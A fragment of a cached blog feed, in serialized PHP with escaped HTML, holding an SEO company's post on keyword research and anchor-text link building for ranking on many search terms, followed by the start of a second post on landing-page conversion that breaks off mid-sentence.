href=\&quot;http://seodesignsolutions.com/blog/link-building/should-you-build-links-for-competitive-terms-or-the-long-tail-of-search/\&quot;&gt;using this tactic&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;But, in the even that you wish to rank in the top 10 for a result that has 1.2 &amp;#8211; 1.8 million results, you can essentially pick them off like flies using just a fragment of this technique. The terms we consider worthy are usually the ones that takes months to acquire. So, don&amp;#8217;t build links to fast from off topic locations, it&amp;#8217;s better to focus on quality vs. quantity, however having a diverse base of IP addresses to use is ideal (such as an article marketing resource box that you can moderate) Hmmmmm. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The exercise:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;1. First start off by writing down every possible singular keyword that pertains to your industry. From there narrow it down to the top 20-30 terms. &lt;/p&gt;\n&lt;p&gt;You could also just use a keyword discovery tool, but in this instance, think like a consumer trying to reach your site. The reason is, many of the search terms used to reach your site are unique and do not fall into realm of showing up on the &amp;#8220;keyword radar&amp;#8221;, so common sense can equal conversion if you pick the right phrase and beat your competition to the punch.&lt;/p&gt;\n&lt;p&gt;2. Then after you have a list of 20-30, start combining two word combinations strategically using the premise of how you think someone may type a query into a search engine.&lt;/p&gt;\n&lt;p&gt;web page optimization, optimize my website, how do I SEO my site, etc&amp;#8230; come up with your wild card list of key phrases which you can have fun with later, since if you optimize your site for one group of keywords ALL OF THE KEYWORDS in the anchor text get a boost. So even though you may be &lt;a href=\&quot;http://www.seodesignsolutions.com/link-submissions-services.html\&quot;&gt;building links&lt;/a&gt; using exact match, you still get the benefit of each individual word in Google.&lt;/p&gt;\n&lt;p&gt;3. After you have your list of 30 singular, 20 two-word combinations and 10 or so three-word combinations (just seeing if you were paying attention, since I didn&amp;#8217;t say anything about the 3 word combinations) take each of the two and three word combinations, place the phrases &amp;#8220;in quotes&amp;#8221; and enter them in a standard Google search query one at a time. &lt;/p&gt;\n&lt;p&gt;Look at the results of the keywords in quotes and this will give you a good indication of the allinanchor and allintitle relevance by using the quotes. Usually if you do this, you can remove the quotes and 90% of the sites remain the same. Without quotes it may be 1-10 of 2,000,000 results, with &amp;#8220;the quotes&amp;#8221; it may show 1-10 of 20,000. It is the term in quotes you want to look at in order to gain a metric on the competitiveness of this key phrase.&lt;/p&gt;\n&lt;p&gt;Also, the more words you add, the easier it is to optimize, even if the chronology of the words does not make sense, you are still optimizing your site for any combination of keywords that are contained in the anchor text. In case it&amp;#8217;s a new term, &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-marketing/how-to-use-article-marketing-for-building-links-traffic-seo-visibility/\&quot;&gt;this is anchor text&lt;/a&gt;, so use it wisely as it is your number 1 tool for developing links, relevance and rankings (for now at least) in Google.&lt;/p&gt;\n&lt;p&gt;Getting back to the exercise, if the term comes back with under 100,000 results then move it into your to do list of links to build as a likely target for your SEO. Granted that this is merely one tactic, feel free to combine it with your own methods. Now, without giving away too many secrets, you will be responsible for finding ways to build links. &lt;/p&gt;\n&lt;p&gt;Not just any links, but links that allow you to have control over the anchor text (the text in the link). Use these terms to whittle away at the root phrases building 100 links per keyword combination, then run analytics software of check out &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;Niche Watch&lt;/a&gt; and see where you stand using a before and after methodology. &lt;/p&gt;\n&lt;p&gt;Every site is different, but say for example you have a PR6 site, you can skip most of these tactics and just put a keyword in your title tag, mention it a few times, build links from your own site to itself and dominate the SERPs. However, since we know that you are going to be challenging websites such as those in the SERPs as you step over them in concentration for allinanchor relevance as you specifically augment your site by fortifying it with keyword combinations, you can actually surpass a lazy or passive higher page rank site in this fashion. &lt;/p&gt;\n&lt;p&gt;Our site for example can chip away and rise approximately 100,000 results per month for competitive terms using moderate link building methods (1000-2000 quality inbound links per month for example), so if we were going after a super competitive keyword such as &lt;a href=\&quot;http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;hs=4gI&amp;amp;q=%22seo+company%22&amp;amp;btnG=Search\&quot;&gt;&amp;#8220;SEO Company&amp;#8221;&lt;/a&gt; for example with it&amp;#8217;s 1.4 million results, it would take roughly 1 year to build links to get to the top 10 using this tactic. &lt;/p&gt;\n&lt;p&gt;Each site is different as the authority that results from each link varies. The point here is, each website has a link velocity ratio that is consistent with how aggressively it can move up the rungs until it arrives in the top 10 search results for a keyword &amp;#8220;in quotes&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;If you wanted to find out where you stand for the keyword in advance, you could always click your url first, then use the search command &lt;a href=\&quot;http://www.google.com/ie?&amp;amp;num=100\&quot;&gt;www.google.com/ie?&amp;amp;num=100&lt;/a&gt; to get to the 100 results per page stripped down Google interface. From there (since you have clicked your link in advance) you can put the keyword in question &amp;#8220;in quotes&amp;#8221;, hit return and find out where you stand. &lt;/p&gt;\n&lt;p&gt;If you are position #200 for example and you are building links for every word that comprises the phrase (services SEO, SEO Services, Search engine Optimization Services, Engine Optimization SEO, etc.) then you should see your ranking move up and up closer to the top 10 for a number of terms. &lt;/p&gt;\n&lt;p&gt;When it hits the top 10 for the allinanchor: terms, if the keyword is not being challenged directly by another competitor your site should hit the top 10 as well. If there is competition you should be in the top 30 or top 20 results and you will have to figure out which other SEO factor &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/are-your-seo-on-page-factors-holding-you-back/\&quot;&gt;is holding you back&lt;/a&gt; from there.&lt;/p&gt;\n&lt;p&gt;If you wanted to be more specific and chart your progress, you can find the link to link velocity ratio to determine how many links or how much time it will take you to crack into the top 10 for each of the respective search terms.  Or you could find the best page for each link using the Google command site:www.yoursite.com keyword, to increase the links per page (&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/link-building-deep-links-using-the-lpp-ratio/\&quot;&gt;LPP ratio&lt;/a&gt;) as a deep linking strategy to increase the impact of each link (don&amp;#8217;t forget to socially bookmark them as well for an added boost).&lt;/p&gt;\n&lt;p&gt;This is how you get your rankings to spread out to other terms. *If you use exact match terms for two word key phrases, then you can see the results usually within a week. The idea is, start with three words, when you see them moving, then alternate one of the keywords with another word from your list from before. So you can rank for keyword keyword company, keyword keyword services, keyword keyword professional, etc.&lt;/p&gt;\n&lt;p&gt;Examples like SEO Marketing Consultant, SEO Website Marketing, Internet SEO Marketing, etc&amp;#8230; this will become apparent later just how effective this tactic can be for blanketing a plethora of terms. &lt;/p&gt;\n&lt;p&gt;Then you focus specifically on the phrase you want to rank for, create a custom page using a keyword density tool or writing copy that utilizes the phrase one time in the title, one time in the h1 tag, one to 3 times in the document and continue to build links to that page with those keywords in the anchor text. This is the advantage of having a blog as you can camouflage your link building tactics under the guise of an informative post. I will just hint at SEO content copy writing here, but you get the gist (link bait, social media, social bookmarking / link building ahem, ahem).&lt;/p&gt;\n&lt;p&gt;My suggestion, build 50 links to the page and move on to another term. Then give it a week or two and go back and &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;check the status of the keywords&lt;/a&gt; and how your allinanchor:, allintitle: and allintext: ratio&amp;#8217;s are performing is contrast to the keyword combinations, make note of your progress and try to find your site in the SERPs again. You can go back to the Google interface and check or you can just scroll through the normal results to see where you stand.&lt;/p&gt;\n&lt;p&gt;If the keywords you select are under 20,000 results, if your site has some authority you can take those over from just posting an &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/titles-and-tagging-for-seo-conversion-relevance/\&quot;&gt;on topic post that is tagged properly&lt;/a&gt; in your blog. But to sustain them, you have to feed the pages keyword combinations to keep them afloat in the SERPs. This also provides a cushion around them to help fend off competition from leap-frogging past you up the ladder.&lt;/p&gt;\n&lt;p&gt;Acquisition (climbing the rungs) and defense from others can be done through varying the tactic slightly. Slow down once you have acquired a top 20 and let the link velocity push you up the ladder. Then you can build 1/3 of the links using the exact match terms until you hit the top 10. If you crack the top 10, then go back, add a few more occurrences of the keywords you want to rank for in your document/page. Add a few more links, wait a week and then see if that pushes you over the hump into the top 5.&lt;/p&gt;\n&lt;p&gt;This method may seem a bit chaotic, but you get the gist, you can manage one keyword or several at the same time. The key is to use a common denominator as the pivotal term that is used to tie together all of the variations of the word stemmed singular, plural and adjective based keyword combinations until you have effectively saturated each keywords density in the external links to your site.&lt;/p&gt;\n&lt;p&gt;You can always check on Google Webmaster tools which keywords have the highest occurrences that are directed at your site. The idea is, to build a base term, add a qualifier, then do this again and again, until all of your main keywords are essentially lodged in the anchor text pointing at your site from a wide variety of unique and Class C- IP addresses.&lt;/p&gt;\n&lt;p&gt;For example if you did a search on a term like &amp;#8220;seo professional&amp;#8221; this term returns 126,000 results. If your site has a PR4 for example and you have content that supports this type of industry of jargon in your domain name, on your pages or in your page titles, you should already have some leverage for the term.&lt;/p&gt;\n&lt;p&gt;Terms that have slight correlation to your site&amp;#8217;s theme can be optimized, but the rate of which all depends on your website authority, the links you use and how much link juice they carry, where you point them, the competition and how algorithms see your link building techniques (natural or unnatural) if you invoke a penalty, you will not rank for that term for a while until it&amp;#8217;s lifted, so it&amp;#8217;s better not to get greedy and vary your titles, anchor text and pages when deep linking.&lt;/p&gt;\n&lt;p&gt;I hope you found this information useful, if you did, then cast your vote to share it, sign up for the RSS feed or just enjoy&amp;#8230;See you in the SERPs.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=fMke79EeF5s:vRkBGj361aA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/fMke79EeF5s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:508:\&quot;In case you were wondering how to systematically achieve saturation for multiple keywords for your website in search engines (instead of just a few) using SEO, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:138:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;58\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:133:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;;}s:7:\&quot;summary\&quot;;s:508:\&quot;In case you were wondering how to systematically achieve saturation for multiple keywords for your website in search engines (instead of just a few) using SEO, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:14799:\&quot;&lt;p&gt;In case you were wondering how to systematically achieve saturation for &lt;strong&gt;multiple keywords&lt;/strong&gt; for your website in search engines (instead of just a few) using &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your site.&lt;br /&gt;\n&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;&lt;img src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg\&quot; alt=\&quot;\&quot; title=\&quot;Optimizing Multiple Keywords\&quot; width=\&quot;400\&quot; height=\&quot;275\&quot; class=\&quot;aligncenter size-full wp-image-617\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords-300x206.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nThis is the point where the competition gets nervous as a tactic like this could go viral with just one post from a popular Stumbler, Digg or otherwise. I will leave that at your discretion to cast your vote, but this is not the first time where I should have simply shut up, but I thought I would leave you with some good reading material for the weekend.&lt;span id=\&quot;more-93\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As an &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; company involved in this illustrious industry, I feel like we owe those sincere seekers who yearn for legitimate &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; techniques and only find dozens of sites with shallow posts, vague references and theory. I don&amp;#8217;t mind sharing a few tactics here and there about &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/optimizing-your-website-for-multiple-keywords/\&quot;&gt;keyword optimization&lt;/a&gt;, as the tendency to create, test and implement them typically happens faster than I can write them down. &lt;/p&gt;\n&lt;p&gt;This post in essence serves as a web-log of a fundamental technique, that we have used time and time again to bolster &lt;a href=\&quot;http://www.seodesignsolutions.com/seo-services.html\&quot;&gt;multiple top 10 positions&lt;/a&gt; in search engines.  Naturally, we have to hold back something, otherwise we would make the SEO community obsolete, but in any case, these tactics are what we use when targeting an entire industry for long tail search engine domination, they can also be used for more aggressive/competitive terms by &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/should-you-build-links-for-competitive-terms-or-the-long-tail-of-search/\&quot;&gt;using this tactic&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;But, in the even that you wish to rank in the top 10 for a result that has 1.2 &amp;#8211; 1.8 million results, you can essentially pick them off like flies using just a fragment of this technique. The terms we consider worthy are usually the ones that takes months to acquire. So, don&amp;#8217;t build links to fast from off topic locations, it&amp;#8217;s better to focus on quality vs. quantity, however having a diverse base of IP addresses to use is ideal (such as an article marketing resource box that you can moderate) Hmmmmm. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The exercise:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;1. First start off by writing down every possible singular keyword that pertains to your industry. From there narrow it down to the top 20-30 terms. &lt;/p&gt;\n&lt;p&gt;You could also just use a keyword discovery tool, but in this instance, think like a consumer trying to reach your site. The reason is, many of the search terms used to reach your site are unique and do not fall into realm of showing up on the &amp;#8220;keyword radar&amp;#8221;, so common sense can equal conversion if you pick the right phrase and beat your competition to the punch.&lt;/p&gt;\n&lt;p&gt;2. Then after you have a list of 20-30, start combining two word combinations strategically using the premise of how you think someone may type a query into a search engine.&lt;/p&gt;\n&lt;p&gt;web page optimization, optimize my website, how do I SEO my site, etc&amp;#8230; come up with your wild card list of key phrases which you can have fun with later, since if you optimize your site for one group of keywords ALL OF THE KEYWORDS in the anchor text get a boost. So even though you may be &lt;a href=\&quot;http://www.seodesignsolutions.com/link-submissions-services.html\&quot;&gt;building links&lt;/a&gt; using exact match, you still get the benefit of each individual word in Google.&lt;/p&gt;\n&lt;p&gt;3. After you have your list of 30 singular, 20 two-word combinations and 10 or so three-word combinations (just seeing if you were paying attention, since I didn&amp;#8217;t say anything about the 3 word combinations) take each of the two and three word combinations, place the phrases &amp;#8220;in quotes&amp;#8221; and enter them in a standard Google search query one at a time. &lt;/p&gt;\n&lt;p&gt;Look at the results of the keywords in quotes and this will give you a good indication of the allinanchor and allintitle relevance by using the quotes. Usually if you do this, you can remove the quotes and 90% of the sites remain the same. Without quotes it may be 1-10 of 2,000,000 results, with &amp;#8220;the quotes&amp;#8221; it may show 1-10 of 20,000. It is the term in quotes you want to look at in order to gain a metric on the competitiveness of this key phrase.&lt;/p&gt;\n&lt;p&gt;Also, the more words you add, the easier it is to optimize, even if the chronology of the words does not make sense, you are still optimizing your site for any combination of keywords that are contained in the anchor text. In case it&amp;#8217;s a new term, &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-marketing/how-to-use-article-marketing-for-building-links-traffic-seo-visibility/\&quot;&gt;this is anchor text&lt;/a&gt;, so use it wisely as it is your number 1 tool for developing links, relevance and rankings (for now at least) in Google.&lt;/p&gt;\n&lt;p&gt;Getting back to the exercise, if the term comes back with under 100,000 results then move it into your to do list of links to build as a likely target for your SEO. Granted that this is merely one tactic, feel free to combine it with your own methods. Now, without giving away too many secrets, you will be responsible for finding ways to build links. &lt;/p&gt;\n&lt;p&gt;Not just any links, but links that allow you to have control over the anchor text (the text in the link). Use these terms to whittle away at the root phrases building 100 links per keyword combination, then run analytics software of check out &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;Niche Watch&lt;/a&gt; and see where you stand using a before and after methodology. &lt;/p&gt;\n&lt;p&gt;Every site is different, but say for example you have a PR6 site, you can skip most of these tactics and just put a keyword in your title tag, mention it a few times, build links from your own site to itself and dominate the SERPs. However, since we know that you are going to be challenging websites such as those in the SERPs as you step over them in concentration for allinanchor relevance as you specifically augment your site by fortifying it with keyword combinations, you can actually surpass a lazy or passive higher page rank site in this fashion. &lt;/p&gt;\n&lt;p&gt;Our site for example can chip away and rise approximately 100,000 results per month for competitive terms using moderate link building methods (1000-2000 quality inbound links per month for example), so if we were going after a super competitive keyword such as &lt;a href=\&quot;http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;hs=4gI&amp;amp;q=%22seo+company%22&amp;amp;btnG=Search\&quot;&gt;&amp;#8220;SEO Company&amp;#8221;&lt;/a&gt; for example with it&amp;#8217;s 1.4 million results, it would take roughly 1 year to build links to get to the top 10 using this tactic. &lt;/p&gt;\n&lt;p&gt;Each site is different as the authority that results from each link varies. The point here is, each website has a link velocity ratio that is consistent with how aggressively it can move up the rungs until it arrives in the top 10 search results for a keyword &amp;#8220;in quotes&amp;#8221;.&lt;/p&gt;\n&lt;p&gt;If you wanted to find out where you stand for the keyword in advance, you could always click your url first, then use the search command &lt;a href=\&quot;http://www.google.com/ie?&amp;amp;num=100\&quot;&gt;www.google.com/ie?&amp;amp;num=100&lt;/a&gt; to get to the 100 results per page stripped down Google interface. From there (since you have clicked your link in advance) you can put the keyword in question &amp;#8220;in quotes&amp;#8221;, hit return and find out where you stand. &lt;/p&gt;\n&lt;p&gt;If you are position #200 for example and you are building links for every word that comprises the phrase (services SEO, SEO Services, Search engine Optimization Services, Engine Optimization SEO, etc.) then you should see your ranking move up and up closer to the top 10 for a number of terms. &lt;/p&gt;\n&lt;p&gt;When it hits the top 10 for the allinanchor: terms, if the keyword is not being challenged directly by another competitor your site should hit the top 10 as well. If there is competition you should be in the top 30 or top 20 results and you will have to figure out which other SEO factor &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/are-your-seo-on-page-factors-holding-you-back/\&quot;&gt;is holding you back&lt;/a&gt; from there.&lt;/p&gt;\n&lt;p&gt;If you wanted to be more specific and chart your progress, you can find the link to link velocity ratio to determine how many links or how much time it will take you to crack into the top 10 for each of the respective search terms.  Or you could find the best page for each link using the Google command site:www.yoursite.com keyword, to increase the links per page (&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/link-building-deep-links-using-the-lpp-ratio/\&quot;&gt;LPP ratio&lt;/a&gt;) as a deep linking strategy to increase the impact of each link (don&amp;#8217;t forget to socially bookmark them as well for an added boost).&lt;/p&gt;\n&lt;p&gt;This is how you get your rankings to spread out to other terms. *If you use exact match terms for two word key phrases, then you can see the results usually within a week. The idea is, start with three words, when you see them moving, then alternate one of the keywords with another word from your list from before. So you can rank for keyword keyword company, keyword keyword services, keyword keyword professional, etc.&lt;/p&gt;\n&lt;p&gt;Examples like SEO Marketing Consultant, SEO Website Marketing, Internet SEO Marketing, etc&amp;#8230; this will become apparent later just how effective this tactic can be for blanketing a plethora of terms. &lt;/p&gt;\n&lt;p&gt;Then you focus specifically on the phrase you want to rank for, create a custom page using a keyword density tool or writing copy that utilizes the phrase one time in the title, one time in the h1 tag, one to 3 times in the document and continue to build links to that page with those keywords in the anchor text. This is the advantage of having a blog as you can camouflage your link building tactics under the guise of an informative post. I will just hint at SEO content copy writing here, but you get the gist (link bait, social media, social bookmarking / link building ahem, ahem).&lt;/p&gt;\n&lt;p&gt;My suggestion, build 50 links to the page and move on to another term. Then give it a week or two and go back and &lt;a href=\&quot;http://www.nichewatch.com/\&quot;&gt;check the status of the keywords&lt;/a&gt; and how your allinanchor:, allintitle: and allintext: ratio&amp;#8217;s are performing is contrast to the keyword combinations, make note of your progress and try to find your site in the SERPs again. You can go back to the Google interface and check or you can just scroll through the normal results to see where you stand.&lt;/p&gt;\n&lt;p&gt;If the keywords you select are under 20,000 results, if your site has some authority you can take those over from just posting an &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/titles-and-tagging-for-seo-conversion-relevance/\&quot;&gt;on topic post that is tagged properly&lt;/a&gt; in your blog. But to sustain them, you have to feed the pages keyword combinations to keep them afloat in the SERPs. This also provides a cushion around them to help fend off competition from leap-frogging past you up the ladder.&lt;/p&gt;\n&lt;p&gt;Acquisition (climbing the rungs) and defense from others can be done through varying the tactic slightly. Slow down once you have acquired a top 20 and let the link velocity push you up the ladder. Then you can build 1/3 of the links using the exact match terms until you hit the top 10. If you crack the top 10, then go back, add a few more occurrences of the keywords you want to rank for in your document/page. Add a few more links, wait a week and then see if that pushes you over the hump into the top 5.&lt;/p&gt;\n&lt;p&gt;This method may seem a bit chaotic, but you get the gist, you can manage one keyword or several at the same time. The key is to use a common denominator as the pivotal term that is used to tie together all of the variations of the word stemmed singular, plural and adjective based keyword combinations until you have effectively saturated each keywords density in the external links to your site.&lt;/p&gt;\n&lt;p&gt;You can always check on Google Webmaster tools which keywords have the highest occurrences that are directed at your site. The idea is, to build a base term, add a qualifier, then do this again and again, until all of your main keywords are essentially lodged in the anchor text pointing at your site from a wide variety of unique and Class C- IP addresses.&lt;/p&gt;\n&lt;p&gt;For example if you did a search on a term like &amp;#8220;seo professional&amp;#8221; this term returns 126,000 results. If your site has a PR4 for example and you have content that supports this type of industry of jargon in your domain name, on your pages or in your page titles, you should already have some leverage for the term.&lt;/p&gt;\n&lt;p&gt;Terms that have slight correlation to your site&amp;#8217;s theme can be optimized, but the rate of which all depends on your website authority, the links you use and how much link juice they carry, where you point them, the competition and how algorithms see your link building techniques (natural or unnatural) if you invoke a penalty, you will not rank for that term for a while until it&amp;#8217;s lifted, so it&amp;#8217;s better not to get greedy and vary your titles, anchor text and pages when deep linking.&lt;/p&gt;\n&lt;p&gt;I hope you found this information useful, if you did, then cast your vote to share it, sign up for the RSS feed or just enjoy&amp;#8230;See you in the SERPs.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=fMke79EeF5s:vRkBGj361aA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/fMke79EeF5s\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:4;a:13:{s:5:\&quot;title\&quot;;s:63:\&quot;How to Get SEO, Call to Action and Conversion on the Same Page!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/WawDDa-5Yn0/\&quot;;s:8:\&quot;category\&quot;;s:110:\&quot;SEO Marketingcall-to-actionHigher-Sales-ConversionProblem-Solution-MarketingSEO-&amp;-Squeeze-PagesWhat-SEO-is-NOT\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 01 May 2017 10:02:55 PDT\&quot;;s:4:\&quot;guid\&quot;;s:120:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:10528:\&quot;&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; is nice for popularity, but &lt;strong&gt;conversion is even better&lt;/strong&gt;. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in futility.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg\&quot; alt=\&quot;seo and conversion\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-9645\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are you playing it safe with keyword blinders?, or have you diversified your Search Terms?&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;It&amp;#8217;s better to be safe than sorry as a result of &lt;strong&gt;&amp;#8220;having blinders on&amp;#8221;&lt;/strong&gt; when it comes to &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/\&quot;&gt;search engine optimization&lt;/a&gt; and selecting the best keywords for your offer. Instead of thinking in terms of &amp;#8220;the money phrase&amp;#8221;, or, &lt;strong&gt;as soon as I hit the top 10&lt;/strong&gt; for &amp;#8220;my ultimate competitive keyword&amp;#8221;, that floodgates of website traffic will open, sales will inundate our sales team and we will have to hire 20 people to scale our sales department to keep up with the surge of orders and traffic. This is not to say that things like this do not happen, they do, but rarely as a result of one keyword alone.&lt;br /&gt;\n&lt;span id=\&quot;more-105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Don&amp;#8217;t believe keyword hype&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The misconception typically originates as a result of assumption, or misinformation gleaned from data mining tools / keyword research tools (it says this phrase gets 20,000 hits per month, so it must), which is understandable. I can assure you, we have dominated multiple rankings in top 10 competitive keywords with double organic listings, only to be disappointed by the lack of traffic that resulted. Yet, on the other hand, been completely surprised when you write  or optimize something (supposedly less competitive) and experience surges of traffic for weeks from one keyword you may or may not have expected.  &lt;/p&gt;\n&lt;p&gt;It is important to be clear &lt;strong&gt;what search engine optimization is not&lt;/strong&gt;, in order to know what it truly is. &lt;strong&gt;SEO is not the answer to conversion&lt;/strong&gt;, it is just a tool to rouse the masses to investigate your offer, but ultimately the responsibility lies within the realm of the individual or individuals structuring the offer, to determine just what the anticipated end result will be.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are your Pages Eye Candy? or do they Own a Focus&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The internet is full of hungry eyes with agile minds attached, so many in fact, that your pages may just be another snack along the way. In order to change the menu and make your site &lt;strong&gt;&amp;#8220;the main course&amp;#8221;&lt;/strong&gt;, nine times out of ten, some changes need to occur to make the transition from pages with an idle online existence to a page that for lack of better terms, offers you a deal you can&amp;#8217;t refuse.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;What Can You Learn (and apply to your own site) from a Squeeze Page&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;First, the headline&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://seodesignsolutions.com/blog/small-business-marketing/action-words-and-conversion/\&quot;&gt;Call to Action and Conversion&lt;/a&gt; Starts Here. When you look at a typical squeeze page, once you get there, there is no question what the page is about, in fact they make it hard to see anything other than what the topical relevance is when you first set eyes on the page, but why? Because the headline takes up 25% of the screen, is usually in a ridiculously loud color, with quotes and highlighted in yellow. Anyone who fails at that point to surmise what the contextual relevance is for being there, should have their internet license suspended for surfing blind without emotional attachment. &lt;/p&gt;\n&lt;p&gt;In any case, the point being, the pages, despite how obnoxious they are serve a very fundamental purpose, which is to set the tone and funnel the reader&amp;#8217;s attention to the meat and potatoes of the document (typically found at the very bottom alongside a pay pal purchase button). This is were the old adage of (A.I.D.A) attention, interest, desire, action comes into play in it&amp;#8217;s sublime simplicity. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the testimonial&lt;/strong&gt;, but why? Because they know you are skeptical and they know they need to subvert your defenses in order to engage the rational mind behind the emotional response when you shop (do I need this or do I want this, can I ignore or suppress the urge to purchase, or am I genuinely interested) all the while thousands of queries such as this race through the subconscious and either lead your to (a) move along (b) read further, since your there or (c) take the plunge and purchase, because, what the hay, it&amp;#8217;s only money 